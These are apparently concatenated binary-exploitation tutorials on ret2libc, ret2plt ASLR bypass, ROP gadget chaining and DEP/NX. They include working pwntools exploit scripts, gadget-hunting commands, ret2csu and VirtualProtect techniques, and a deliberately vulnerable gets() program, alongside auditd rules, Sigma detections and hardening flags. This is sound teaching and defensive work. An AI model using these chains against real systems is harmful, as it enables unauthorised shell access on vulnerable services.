One bare `ret` gadget acts as the alignment shim – without it, `movaps` in glibc’s system() crashes the chain before the shell ever spawns.

7. ret2plt: Leaking a libc Address Through the GOT

Turn ASLR back on:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Now libc.sym['system'] is randomised on every run, so the static exploit above fails. But recall two facts from Section 2. The .plt address of puts is fixed in a non-PIE binary, and after puts runs once its GOT slot holds a live libc pointer.

The leak is one line of ROP: call puts@plt with puts@got as its argument. That makes puts print the resolved runtime address of puts itself. Since main already calls puts before the overflow (the “Input:” prompt), the GOT slot is guaranteed to be resolved and pointing into libc, not back at the resolver. That timing matters: if you pick a symbol that has never been called under lazy binding, its GOT slot still points into the PLT stub and your “leak” is a useless local address. Leak something you know has already run.

Once you have the runtime address of puts, the libc base is arithmetic:

libc_base = leaked_puts_addr - libc.sym['puts']

From the base you can compute every other libc symbol, including system and the "/bin/sh" string. But the program will keep running after the leak, so you need it to come back for a second payload. Return into main after the puts call. The program re-prompts, and you send the real ret2libc payload with correctly rebased addresses.

For the 32-bit build the leak frame is:

[ 76 padding ][ &puts@plt ][ &main ][ &puts@got ]
                  ^ new EIP   ^ return  ^ argument to puts
                              into main (prints its own libc address)

Step-by-step attack flow diagram showing how a ret2plt exploit calls puts@plt with the puts@got address to leak a live libc pointer, rebases the libc base address, returns to main, then sends a second payload calling system with the computed address.
The two-payload pattern: leak a live GOT pointer in the first overflow, rebase libc, then deliver system(“/bin/sh”) in the second.

8. Chaining ret2plt to ret2libc: The Two-Payload Pattern

Put both stages in one script. Payload 1 leaks and re-enters main. Payload 2 spawns the shell using addresses computed from the leak.

32-bit full chain

# exploit_ret2plt_ret2libc.py
from pwn import *

elf  = context.binary = ELF('./vuln32')
libc = elf.libc
p    = process('./vuln32')

OFFSET = 76

# --- PAYLOAD 1: ret2plt leak ---
payload1  = b'A' * OFFSET
payload1 += p32(elf.plt['puts'])      # call puts@plt
payload1 += p32(elf.sym['main'])      # return into main for a second shot
payload1 += p32(elf.got['puts'])      # argument: address of puts's GOT slot

p.recvline()
p.sendline(payload1)

# --- parse the 4-byte leak ---
leak = u32(p.recv(4))
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts']    # rebase the whole libc
log.success(f'libc base @ {hex(libc.address)}')

# --- PAYLOAD 2: ret2libc with computed addresses ---
p.recvline()
payload2  = b'A' * OFFSET
payload2 += p32(libc.sym['system'])
payload2 += p32(libc.sym['exit'])
payload2 += p32(next(libc.search(b'/bin/sh\x00')))

p.sendline(payload2)
p.interactive()

Setting libc.address in pwntools rebases every symbol lookup automatically, so libc.sym['system'] after the leak returns the correct live address.

64-bit full chain

The 64-bit version threads the pop rdi; ret gadget through both stages and adds the alignment ret before the final system call. Fill in POP_RDI and RET_GADGET from your own ROPgadget output.

# exploit_ret2plt_x64.py
from pwn import *

elf  = context.binary = ELF('./vuln64')
libc = elf.libc
p    = process('./vuln64')

OFFSET     = 72              # confirm with cyclic
POP_RDI    = 0x0             # <-- fill from: ROPgadget --binary ./vuln64 | grep "pop rdi"
RET_GADGET = 0x0             # <-- fill from: ROPgadget --binary ./vuln64 | grep ": ret$"

# --- PAYLOAD 1: leak puts via ret2plt ---
payload1  = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(elf.got['puts'])      # argument in RDI
payload1 += p64(elf.plt['puts'])      # call puts@plt
payload1 += p64(elf.sym['main'])      # re-enter main

p.recvline()
p.sendline(payload1)

leak = u64(p.recv(6).ljust(8, b'\x00'))   # 6 valid bytes on x86-64
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts']

# --- PAYLOAD 2: system("/bin/sh") ---
p.recvline()
bin_sh = next(libc.search(b'/bin/sh\x00'))

payload2  = b'A' * OFFSET
payload2 += p64(RET_GADGET)           # 16-byte stack alignment fix
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh)
payload2 += p64(libc.sym['system'])

p.sendline(payload2)
p.interactive()

Note the 64-bit leak reads six bytes, not eight. User-space addresses on x86-64 are 48-bit, so the top two bytes are always zero and puts stops at the first null. Pad the six received bytes back up to eight with ljust before unpacking.


9. Edge Cases and Gotchas

SituationWhat HappensHandling
Full RELROGOT is read-only, so you cannot overwrite a slotret2plt leaks still work because you only read the slot, never write it
Uncalled symbolIts GOT slot points at the PLT resolver, not libcLeak a symbol already invoked before the overflow (puts from the prompt)
PIE enabledThe binary’s own PLT/GOT are randomised tooLeak a code pointer first, compute the PIE base, then rebase elf.plt/elf.got
movaps crash in systemStack not 16-byte aligned on x86-64Prepend a single bare ret gadget before the libc call
Remote libc unknownYou cannot resolve system offset locallyMatch the leak against libc-database or pwntools LibcSearcher; the low 12 bits of a leak fingerprint the exact build
-fno-plt buildCalls go through .got directly, no PLT stubThe GOT slot itself is the call target; leak strategy still applies through .got

The remote-libc case is worth internalising. The last three hex digits of any leaked pointer are page-offset invariant across ASLR runs, so a single leak is enough to identify the precise glibc version in a database of thousands. That is why partial leaks are operationally lethal, and it is a fact defenders should sit with.


10. Common Attacker Techniques

TechniqueDescription
ret2libcRedirect a saved return address into a libc function such as system to bypass NX
ret2pltCall puts@plt/printf@plt on a GOT slot to leak a live libc address and defeat ASLR
GOT overwriteWith a writable GOT (No/Partial RELRO), overwrite a slot to hijack a later call
ret2dl_resolveForge relocation/symbol entries to make _dl_runtime_resolve resolve an arbitrary symbol without any leak
ROP chainingString together pop; ret gadgets to set up arguments and call sequences under NX

11. Defensive Strategies & Detection

Prevention at compile and link time

FlagEffect
-fstack-protector-strongInserts a canary that detects the overflow before ret is reached
-D_FORTIFY_SOURCE=2Replaces gets/strcpy with bounds-checked variants at compile time
-Wl,-z,relro,-z,nowFull RELRO; GOT resolved at startup and marked read-only, killing GOT overwrite
-pie -fPIERandomises the binary base so PLT/GOT are not statically known
Replace gets with fgets/read + sizeRemoves the root cause entirely

At the kernel, keep /proc/sys/kernel/randomize_va_space = 2. On CET-capable hardware, enforced SHSTK breaks classic ret chains because the shadow stack copy of the return address will not match, and IBT forces indirect branches to land on valid endbr64 targets.

Runtime detection on Linux

The reliable tell is the payoff itself: a process that has no business spawning a shell suddenly calls execve("/bin/sh", ...). A compiled C daemon that never legitimately calls system should never exec a shell. Watch it with auditd:

# audit every execve
auditctl -a always,exit -F arch=b64 -S execve -k shell_exec
# audit stack/heap being made executable (ROP stage 2 patterns)
auditctl -a always,exit -F arch=b64 -S mprotect -k mprotect_exec
SignalDetail
execve("/bin/sh") under a network daemonPrimary indicator; correlate ppid/auid
mprotect with PROT_EXECROP chains that flip page permissions before staging
Intel PT branch anomaliesAnomalous branch-to-ret ratios expose ROP flow
/proc/<pid>/maps changeNew executable libc range after an overflow; hook mmap via eBPF kprobes

For a live demonstration to students, strace the shell spawn so they can see it in the syscall trace:

strace -f -e trace=execve,mprotect ./vuln32

Sigma rule (auditd source)

title: Shell Spawned by Non-Interactive Network Process
status: experimental
logsource:
  product: linux
  service: auditd
detection:
  selection:
    type: SYSCALL
    syscall: execve
    exe|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/bin/dash'
  filter_legit:
    ppid|in:
      - <known_shell_parent_pids>   # tune per environment
  condition: selection and not filter_legit
falsepositives:
  - Legitimate shell scripts invoked by daemons
level: high
tags:
  - attack.execution
  - attack.t1203

If you bridge these labs to Windows PE/ROP, the analogue for detecting a spawned shell is Sysmon Event ID 1 (Process Create, inspect the CommandLine and unexpected parent), with the ETW provider Microsoft-Windows-Kernel-Process as the underlying source. Sysmon Event ID 10 (ProcessAccess) covers memory-scraping analogues, and Event ID 8 (CreateRemoteThread) matters if the payload pivots to injection after landing the shell.


A guardian figure assembled from layered shields of increasing strength representing the stacked defensive mitigations against ret2libc attacks: stack canaries, RELRO, PIE, ASLR, and CET shadow stack.
Defence-in-depth stacks mitigations so that defeating one layer – NX, ASLR, or RELRO – alone is never sufficient to reach the shell.

12. Tools for ret2libc and ret2plt Analysis

ToolDescriptionLink
pwntoolsELF parsing, payload building, leak unpackingpwntools.com
pwndbg / gef / pedaGDB plugins for offsets, PLT/GOT views, live tracinggithub.com
ROPgadgetFind pop rdi; ret and alignment ret gadgetsgithub.com
ropperAlternative gadget finder with search syntaxgithub.com
objdumpDisassemble PLT stubs, dump relocationsgnu.org
readelfInspect ELF sections .plt/.got/.got.pltgnu.org
checksecEnumerate NX, PIE, RELRO, canary, CETpwntools.com
libc-database / LibcSearcherFingerprint remote libc from a leakgithub.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash/exploit telemetry, unexpected execve post-overflow
Exploit Public-Facing ApplicationT1190Applies when the vulnerable binary is a network service
Hijack Execution FlowT1574PLT/GOT resolution abuse; monitor GOT integrity and control-flow anomalies
Command and Scripting Interpreter: Unix ShellT1059.004Shell spawn from a non-interactive process (auditd execve)

ATT&CK has no dedicated sub-technique for ret2libc or ROP as of the current Enterprise matrix. T1203 is the closest canonical mapping for exploit-driven code execution, and T1574 covers execution-flow hijacking broadly. Confirm the technique IDs against the live matrix at attack.mitre.org before publishing.


Summary

  • Code reuse defeats NX: you never inject shellcode, you return into libc functions that are already mapped and executable.
  • ret2plt defeats ASLR by calling puts@plt on puts@got to leak a live libc address, then rebasing all of libc from leaked - libc.sym['puts'].
  • The two-payload pattern is the workhorse: leak and return to main, then send system("/bin/sh") with computed addresses.
  • On x86-64, arguments go in RDI via a pop rdi; ret gadget, and a spare ret fixes the 16-byte movaps alignment crash.
  • Full RELRO and PIE raise the bar but do not close it; the leak still reads a read-only GOT, and a leaked code pointer rebases a PIE binary.
  • Detect the payoff, not the chain: an unexpected execve("/bin/sh") under a daemon, caught by auditd and shipped as the Sigma rule above.

Related Tutorials

References

Return-Oriented Programming (ROP): Gadgets, Chains, and the ROP Mindset

You’ve got a clean stack overflow. You control the saved return address, you drop in your beautiful execve shellcode, you point RIP at it, and the process dies with a SIGSEGV the instant your first instruction executes. The stack is mapped rw-, not rwx. That’s NX doing its job, and it’s the moment every exploit developer meets Return-Oriented Programming.

Objective: Understand ROP at the instruction level – the ret dispatcher, gadget classification, and calling-convention constraints – then build a working ret2libc chain against a self-authored vulnerable Linux binary, extend it to defeat ASLR, adapt the mindset to Windows VirtualProtect chains, and pair every stage with concrete detection and hardening a defender can ship today.


1. Why Shellcode Died: DEP, NX, and the Need for ROP

Data Execution Prevention (NX on the hardware side) marks writable memory non-executable. Your injected bytes still sit on the stack; the CPU just refuses to fetch instructions from a page without the execute bit. Injecting code is dead. Reusing code is not.

The idea predates the acronym. Solar Designer’s 1997 ret2libc overwrote a return address with the address of system() and let the C library do the dirty work. Hovav Shacham generalized this in 2007: instead of calling one whole function, chain hundreds of tiny fragments that already live in executable memory, each ending in ret. Shacham’s claim, and it holds up, is that any sufficiently large code base (libc alone qualifies) contains enough of these fragments to be Turing-complete. You never write a single byte of new code. You just rearrange the execution of code that’s already there.

Two properties make ROP work:

  • DEP/NX bypass. Every gadget lives in an already-executable page. Nothing new is marked executable, so NX never fires.
  • ASLR resistance. ASLR randomizes base addresses, not the relative offsets inside a module. Leak one address from libc and every gadget offset falls into place.

2. The Stack Under the Microscope

To chain gadgets you have to understand exactly what ret does. On x86-64:

  • call target pushes the address of the next instruction onto the stack, then jumps to target.
  • ret pops 8 bytes off [rsp] into RIP and jumps there.

ret is not magic. It’s pop rip. It trusts whatever is at the top of the stack. When you overflow buf and clobber the saved return address, you are literally handing ret its next target. Now extend that: if you place a sequence of addresses on the stack, each pointing at a code fragment that itself ends in ret, then each fragment executes, pops the next address, and jumps. The stack becomes a program counter you control. That is the ROP dispatcher, and it costs the attacker nothing but stack space.

Here is the target we’ll break. Small, honest, deliberately broken.

// vuln.c  -  compile per stage table below
#include <stdio.h>
#include <string.h>

void win() { /* ret2win warmup target for Stage 0 */ }

void vuln() {
    char buf[64];
    gets(buf);            // no bounds check, on purpose
}

int main() {
    puts("ROP Lab - Enter input:");
    vuln();
    return 0;
}

We compile it in stages so the mitigations come on one at a time:

StageFlagsMitigations Active
0 (warmup)gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstackNone
1 (NX on, no PIE)gcc -o vuln vuln.c -fno-stack-protector -no-pieNX/DEP
2 (full)gcc -o vuln vuln.c -fno-stack-protectorNX + PIE/ASLR

Disable ASLR globally for Stage 1 so addresses stay put while you learn:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Diagram showing how overflowed stack memory containing a sequence of gadget addresses acts as a program counter, with each ret instruction popping the next address into RIP
Each `ret` is `pop rip`: a stack packed with gadget addresses turns the stack itself into a dispatcher the attacker controls.

3. What Is a Gadget? Anatomy and Classification

A gadget is a short instruction sequence ending in ret (or another indirect branch) that lives inside existing executable code. You don’t need the assembler to have intended the sequence. Disassemble from a byte in the middle of an instruction and you often find a useful gadget the compiler never wrote on purpose.

These are the archetypes you will actually use:

Gadget TypeInstructionsPurpose
Register loaderpop rdi; retLoad the 1st argument register
Multi-register loaderpop rsi; pop rdx; retLoad 2nd/3rd argument or syscall args
Stack pivotxchg rsp, rax; ret or mov rsp, rbp; pop rbp; retPoint RSP at attacker-controlled memory
syscall dispatchersyscall; ret (x86-64) or int 0x80 (x86)Trigger the kernel call once registers are set
Write primitivemov [rdi], rax; retWrite a controlled value to controlled memory
Alignment fixlone retAdvance RSP by 8 to satisfy 16-byte SSE alignment

That last row is not filler. It has eaten more of my afternoons than any other single detail in ROP.

The war story. My first x86-64 ret2libc crashed inside system, not in my chain. Everything looked perfect: rdi held /bin/sh, the address was right, and it still died on a movaps instruction deep in glibc. The System V ABI requires RSP to be 16-byte aligned at the point of a call. glibc’s do_system uses SSE instructions (movaps) that fault on a misaligned stack. My chain left RSP off by 8. The fix is comically small: prepend one extra bare ret gadget before the call. It advances RSP by 8, restoring alignment, and the SSE instruction stops faulting. If your ret2libc dies on movaps and you can’t figure out why, that’s it.


4. Gadget Hunting: Tools and Workflow

Two tools do 95% of the work: ROPgadget and ropper. pwndbg ships ropper integration so you can hunt inside a live debugging session.

# Confirm what you're up against first
file vuln
checksec --file=vuln        # pwntools: expect NX enabled, PIE disabled, No canary

# Find pop rdi; ret in the binary itself
ROPgadget --binary vuln --only "pop|ret" | grep "pop rdi"

# Same hunt inside libc (needed for the interesting gadgets)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "pop rdi"

# The /bin/sh string that lives inside libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"

# system() offset
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"

# A bare ret for alignment
ROPgadget --binary vuln --only "ret"

Useful flags across the two tools:

FlagToolEffect
--binary <file>bothTarget file to scan
--only "pop\|ret"ROPgadgetRestrict to gadgets built only from these mnemonics
--string "/bin/sh"ROPgadgetLocate a literal string
--ropchainROPgadgetAuto-generate an execve chain when possible
--badbytes "00\|0a"ropperExclude gadgets containing bad bytes (gets stops at \n, so 0x0a is poison)
--filter / --searchropperRegex gadget search

ropper tends to produce cleaner, deduplicated output and richer semantic search; ROPgadget has the built-in chain generator. I hunt with ropper, sanity-check offsets with ROPgadget.


5. Building Your First Chain: ret2libc on a 64-bit Linux Binary

Stage 1: NX on, no PIE, ASLR disabled. Static addresses everywhere.

Step 1, find the offset. Feed a cyclic pattern, crash it, read where RSP points.

python3 -c "from pwn import *; print(cyclic(150).decode())" | ./vuln
# Under pwndbg after the crash:
#   pwndbg> cyclic -l <8 bytes at rsp>
# For a 64-byte buffer + 8-byte saved RBP, the offset to saved RIP is 72.

If you prefer Metasploit’s tooling, pattern_create.rb -l 150 and pattern_offset.rb -q <value> return the same 72.

Step 2, extract your gadgets. Because we compiled -no-pie, pop rdi; ret and the bare ret inside vuln are fixed. Grab the real values from your own ROPgadget output; the addresses below are representative of a small no-PIE ELF and will differ slightly on your build.

0x0000000000401183 : pop rdi ; ret
0x000000000040101a : ret

Step 3, assemble the chain. With ASLR off, libc.address resolves to the base the loader actually used, so system and /bin/sh are computable.

from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Pull these from YOUR ROPgadget output
POP_RDI = 0x401183      # pop rdi ; ret
RET     = 0x40101a      # bare ret - alignment fix

OFFSET  = 72

p = process('./vuln')

# ASLR off -> libc loaded at a fixed base; read it from the running map
libc.address = int(p.libs()[libc.path], 16) if False else libc.address
BIN_SH = next(libc.search(b'/bin/sh\x00'))
SYSTEM = libc.sym['system']

payload  = b'A' * OFFSET
payload += p64(RET)          # 16-byte align RSP before the call into system
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)

p.recvline()
p.sendline(payload)
p.interactive()

Run it, and you get a shell. The p64(RET) line is the alignment fix from the war story. Leave it out and watch system fault on movaps.

Detection for this stage

There is no shellcode and no new executable memory, so classic AV signatures see nothing. What the host sees is the outcome: a network-facing or non-interactive process suddenly spawns /bin/sh. On Linux, auditd with an execve rule and Sysmon-for-Linux Event ID 1 (process create) both capture the child-shell anomaly. The structural fact of a ROP chain is invisible at the telemetry layer; the behaviour is not.


Step-by-step flow diagram of a 64-bit ret2libc ROP chain showing alignment gadget, pop rdi gadget loading the bin-sh address, and finally calling system to spawn a shell
The alignment `ret` gadget is not optional – skipping it causes `system` to fault on a `movaps` SSE instruction inside glibc.

6. Dealing with Gadget Scarcity: ret2csu and Stack Pivots

Real targets rarely hand you a clean pop rdx; ret. When you need to control rdx (the 3rd argument, mandatory for execve‘s envp or for a write length) and no such gadget exists, reach into __libc_csu_init. It ships in every non-PIE, non-static glibc-linked binary and contains a reliable two-gadget pair.

; Gadget A (csu_init_gadget_b)
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

; Gadget B (csu_init_gadget_a)
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8]

The play: use Gadget A to load r13 -> rdx, r14 -> rsi, r15 -> edi, and set r12/rbx so [r12+rbx*8] points at a function pointer you control (a GOT entry works). Gadget B moves those registers into the argument registers and calls through the pointer. Set rbx = 0 so the call resolves to [r12].

There is a subtlety worth committing to memory: after the call returns, __libc_csu_init runs add rbx, 1; cmp rbx, rbp; jne loop. To fall straight through, set rbp = 1 and rbx = 0 so the compare passes on the first pass. Then a stack of padding follows to skip the register-restore epilogue. Getting rbp/rbx wrong sends execution into a loop that re-calls your pointer, which is a genuinely confusing crash the first time you meet it.

Stack pivots solve a different scarcity: not enough room in the overflowed buffer for a full chain. Pivot RSP into a larger, attacker-controlled region (often .data or .bss you’ve pre-seeded via a first-stage write):

0x00000000004011f0 : xchg rsp, rax ; ret

Load your second-stage stack address into rax, hit xchg rsp, rax; ret, and the dispatcher now reads from your staging area. The buffer just needed to hold the pivot.


7. Automating Chains with pwntools ROP Module

Hand-assembling offsets is how you learn. pwntoolsROP class is how you move fast once you understand it. It resolves gadgets, handles alignment, and implements ret2csu for you.

from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

# High-level: describe intent, let pwntools find gadgets
rop.call('puts', [elf.got['puts']])   # leak puts@GOT via PLT
rop.call('vuln')                       # loop back for a second input

log.info(rop.dump())                   # human-readable chain layout

payload  = b'A' * 72
payload += rop.chain()

p = process('./vuln')
p.recvline()
p.sendline(payload)

# Stage 2: parse the leak, compute libc base, build ret2libc
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')

rop2 = ROP(libc)
rop2.raw(rop2.ret)                      # alignment
rop2.system(next(libc.search(b'/bin/sh\x00')))

p.sendline(b'A' * 72 + rop2.chain())
p.interactive()

That two-stage flow is the ASLR bypass (Stage 2). Because RELRO is not now on our default build, puts@GOT is populated after the first call and leaks the real runtime address of puts. Subtract puts‘s known offset, and every libc address is yours. When you hit a scarcity wall, rop.ret2csu(edi=..., rsi=..., rdx=...) builds the CSU chain programmatically instead of you laying out r12r15 by hand.


Two-stage ASLR bypass diagram showing how leaking puts address via GOT dereference allows computing the libc base and building a second-stage ret2libc chain
A single leaked pointer collapses ASLR: once the libc base is known, every gadget offset is fixed and the second-stage chain is deterministic.

8. ROP on Windows: VirtualProtect Chains

The mindset transfers directly; the goal shifts. On Windows you rarely ret2libc. You build a chain that calls VirtualProtect (in kernel32.dll) to flip a page holding your shellcode to PAGE_EXECUTE_READWRITE, then return into that shellcode. NX is satisfied because you asked the OS politely to make the page executable.

Build a minimal vulnerable console app and compile it with the stack cookie disabled (/GS-) and CFG off (/guard:cf-) so you can focus on the ROP mechanics rather than fighting three mitigations at once. VirtualProtect takes four arguments (lpAddress, dwSize, flNewProtect, lpflOldProtect). On x64 Windows these go in rcx, rdx, r8, r9, so you need gadgets that load those registers, which changes gadget selection entirely versus the System V rdi/rsi/rdx/rcx order.

Gadget hunting uses the same tools plus one Windows classic:

# Immunity Debugger + mona.py
!mona modules
!mona rop -m "kernel32.dll,ucrtbase.dll" -cpb "\x00\x0a\x0d"

# or cross-check with ROPgadget against the DLL
ROPgadget --binary C:\Windows\System32\kernel32.dll --only "pop|ret"

mona‘s rop command will even draft a VirtualProtect skeleton and flag gadgets containing your bad bytes (-cpb). Debug in x64dbg or WinDbg, set a breakpoint on kernel32!VirtualProtect, and confirm rcx/rdx/r8/r9 hold what you expect before it executes. The calling-convention shift is the single biggest adjustment for anyone coming from Linux ROP.

Calling convention, side by side

Featurex86 (32-bit)x86-64
Argument passingOn the stackRegisters, then stack
First 4 args (System V)stackrdi, rsi, rdx, rcx
First 4 args (Windows x64)stackrcx, rdx, r8, r9
syscall entryint 0x80syscall
Gadget needfewer pop reg gadgetsmany pop reg gadgets

9. Detection and Defense: Seeing and Stopping ROP

The hard truth first: no telemetry source fires on gadget execution. ROP detection is behavioural. You catch what the chain does, not the chain itself. Detect it structurally in hardware, or detect its outcome in logs.

Structural mitigations

MitigationMechanismHow It Blocks ROP
DEP / NXNon-executable data pagesThe precondition that forces ROP; blocks plain shellcode
Control Flow Guard (CFG)Forward-edge CFI; validates indirect call targets against a bitmapBlocks JOP/COP, not pure ret-chains
CET Shadow StackBackward-edge CFI; hardware-protected copy of return addressesEvery call/ret mismatch between stack and shadow stack raises an exception – this is the direct ROP killer
CET IBT (endbr64)Indirect branch must land on endbr64Blocks JOP/COP landing pads
ACGBlocks dynamic code generation in protected processesStops ROP-bootstrapped shellcode from being marked executable
Stack canary (/GS)Detects smash before retDefeats naive overflow; useless once an info leak reveals the canary

Shadow Stack (CET) is the mitigation that ends the technique as a class: a mismatched return address is detected in hardware regardless of how clever the chain is.

Telemetry that catches the outcome

SourceEvent / ProviderWhat It Captures
Microsoft-Windows-Security-Mitigations (ETW)CFG / CET shadow-stack violation eventsThe most direct control-flow-attack signal available
Sysmon Event ID 1Process CreateParentImage anomaly, e.g. cmd.exe spawned by a network service
Sysmon Event ID 10ProcessAccessOpenProcess with PROCESS_VM_WRITE in multi-stage payloads
Sysmon Event ID 8CreateRemoteThreadPost-ROP pivot into another process
Sysmon Event ID 25ProcessTamperingHollowing / image tampering post-exploit

Verify the exact CET/CFG ETW provider event names against current Windows 11 documentation; Microsoft has renamed these across OS builds.

Sigma: catch the shell, not the gadget

title: Suspicious Shell Spawned by Network Service
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\httpd.exe'
            - '\nginx.exe'
            - '\java.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\sh.exe'
    condition: selection
falsepositives:
    - Legitimate admin scripts
level: high
tags:
    - attack.defense_evasion
    - attack.t1055

Linux hardening checklist

ControlTool / FlagEffect
Full ASLRrandomize_va_space = 2Forces an info-leak prerequisite
PIE-fpie -pieRandomizes .text; gadget addresses move per run
Stack canary-fstack-protector-strongDetects overflow before ret
Full RELRO-Wl,-z,relro,-z,nowGOT read-only; kills GOT-overwrite and complicates leaks
seccompprctl(PR_SET_SECCOMP, ...)A working chain still can’t call execve if it’s not whitelisted
SafeStack-fsanitize=safe-stackReturn addresses live on a separate protected stack
CET-fcf-protection=fullHardware shadow stack + IBT

Tools

ToolDescriptionLink
ROPgadgetGadget finder with auto execve chain generationgithub.com/JonathanSalwan/ROPgadget
ropperSemantic gadget search, bad-byte filteringgithub.com/sashs/ropper
pwntoolsExploit framework with ROP chain builderdocs.pwntools.com
pwndbgGDB plugin with ropper integration and cyclicpwndbg.re
mona.pyImmunity Debugger ROP/chain generator for Windowsgithub.com/corelan/mona
x64dbg / WinDbgWindows user-mode debuggersx64dbg.com
checksecReports NX/PIE/RELRO/canary statepwntools

MITRE ATT&CK mapping

ATT&CK has no single “ROP” technique. ROP is a mechanism serving several techniques; map it honestly.

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash telemetry, Security-Mitigations ETW, anomalous child processes
Exploitation for Defense EvasionT1211CFG/CET violation events
Exploitation for Privilege EscalationT1068Kernel mitigation logs, driver crash telemetry
Process InjectionT1055Sysmon Event ID 8, Event ID 10
Process Injection: Proc MemoryT1055.009/proc/<pid>/mem write access, gadget-based injection
Exploit Protection (mitigation)M1050Deploy DEP, CFG, CET, ACG

Illustration of a CET hardware shadow stack catching a mismatched return address, visualised as a glowing ghost-copy of the stack raising an alert on divergence
CET’s shadow stack maintains a hardware-protected copy of return addresses – any mismatch between shadow and real stack raises an exception, breaking ROP as a class.

10. The ROP Mindset: Thinking Like a Constraint Solver

Once the mechanics click, ROP stops being about memorizing gadgets and becomes a constraint-satisfaction problem. You have a fixed inventory of gadgets (the ones that exist in the target), a fixed goal (registers set to specific values, then a call or syscall), and a set of constraints (bad bytes, alignment, scarce registers). You solve backward from the goal.

Ask, in order: what does the final call need in each register? Which gadget sets the last register cleanly? Does that gadget clobber a register I already set? If gets truncates at 0x0a, is any gadget address or data value poisoned by a \n, and can I substitute an equivalent gadget without that byte? Is RSP 16-byte aligned at the moment of the call? Prefer short gadgets with no side effects: a pop rdi; ret beats a pop rdi; pop rbp; add rsp, 8; ret that forces you to account for junk. Gadget quality is a real metric, measured in side effects and bad bytes.

That backward-planning, constraint-pruning habit is the transferable skill. ret2csu, stack pivots, ret2plt, and the whole family of variants (JOP, COP, ret2csu, and remote Blind ROP) are just this same solver applied under tighter constraints. Learn the solver, not the recipe.


Summary

  • ROP defeats DEP/NX by executing code that is already executable, chaining ret-terminated gadgets into arbitrary behaviour without injecting a single new byte.
  • The stack is the dispatcher: ret is pop rip, so a stack full of gadget addresses is a program you control.
  • A working 64-bit ret2libc needs only pop rdi; ret, a /bin/sh string, system, and a bare ret for 16-byte movaps alignment; scarcity is answered with ret2csu and stack pivots, ASLR with a puts@GOT leak.
  • Windows chains swap the goal to VirtualProtect and the ABI to rcx/rdx/r8/r9, but the constraint-solver mindset is identical.
  • Detection is behavioural, not structural – no log fires on a gadget, so catch the outcome (Sysmon Event ID 1/8/10, Security-Mitigations ETW) and kill the class in hardware with CET shadow stacks, CFG, and full RELRO.

Related Tutorials

References

Data Execution Prevention (DEP/NX): Mechanism, Enforcement, and Bypass Motivation

You have EIP control. Clean, deterministic, 276 bytes of A then four bytes that land exactly on your JMP ESP. You point the return at a NOP sled, drop calc.exe shellcode behind it, fire, and… the process dies at your gadget with 0xC0000005. Nothing ran. This is the moment every exploit-dev learner meets DEP, and it is the single most useful crash you will ever cause on purpose.

Objective: Understand how Windows DEP/NX works at the hardware and OS level, how it is enforced per-process and system-wide, why classic shellcode injection fails against it, and what primitives an attacker must obtain to bypass it. You will build a DEP-blocked proof of concept in a lab, confirm the non-executable page in WinDbg, and leave understanding exactly why a ROP chain is the only way forward.


1. Why Shellcode Injection Fails Today

The classic stack overflow recipe is old and simple. Smash the buffer, overwrite the saved return address with a pointer to a JMP ESP (or straight to the stack), and let the CPU walk into your shellcode sitting on the stack. It worked for years because the CPU did not care what kind of memory it was executing. Code, data, stack, heap – all the same to the instruction pointer.

Data Execution Prevention broke that assumption. DEP marks the stack, heaps, and memory pools as non-executable at the page level. When the CPU tries to fetch an instruction from one of those pages, it does not run your shellcode. It faults. The process receives a STATUS_ACCESS_VIOLATION (0xC0000005), and if nothing handles it, the process dies.

Here is the important nuance: DEP does not stop you from taking control of EIP. You still redirect execution wherever you like. It stops the last step – executing bytes you placed in a data region. That distinction is the entire reason Return Oriented Programming exists, and it is where this tutorial ends up.


2. The Hardware Foundation: NX/XD Bit and PTEs

DEP is not primarily a software trick. On any modern CPU it rides on a hardware feature: AMD called it NX (No-Execute), Intel called it XD (Execute Disable). Same bit, different marketing.

Hardware-enforced DEP works on a per-virtual-memory-page basis. Each page has a Page Table Entry (PTE) describing its physical mapping and permissions. On x86-64, bit 63 (the most significant bit) of the 64-bit PTE is the NX/XD flag. When that bit is set, the page holds data only. Any instruction fetch from an address that resolves to that PTE triggers a page fault.

On 32-bit Windows the native PTE is only 32 bits wide and has no room for an NX bit. That is why hardware DEP on 32-bit requires the PAE kernel (Physical Address Extension), which widens PTEs to 64 bits and gives you bit 63 back. Windows automatically loads the PAE kernel when DEP is enabled on a 32-bit box. On 64-bit Windows the kernel supports NX natively, no special mode required.

The fault path is precise. On an execute violation the CPU raises a page fault (#PF) with the error code’s bit 4 (the I/D, instruction/data, bit) set to indicate the fault came from an instruction fetch rather than a normal read or write. Windows translates that into the exception you see in the debugger:

FieldValueMeaning
Exception code0xC0000005STATUS_ACCESS_VIOLATION
ExceptionInformation[0]8Execute violation (distinct from read=0, write=1)

That 8 in the exception record is how you tell a DEP kill apart from an ordinary bad-pointer crash. Same status code, different reason.


Hierarchy diagram showing how the MMU checks bit 63 of a Page Table Entry to determine whether an instruction fetch succeeds or triggers an NX page fault with status code 0xC0000005
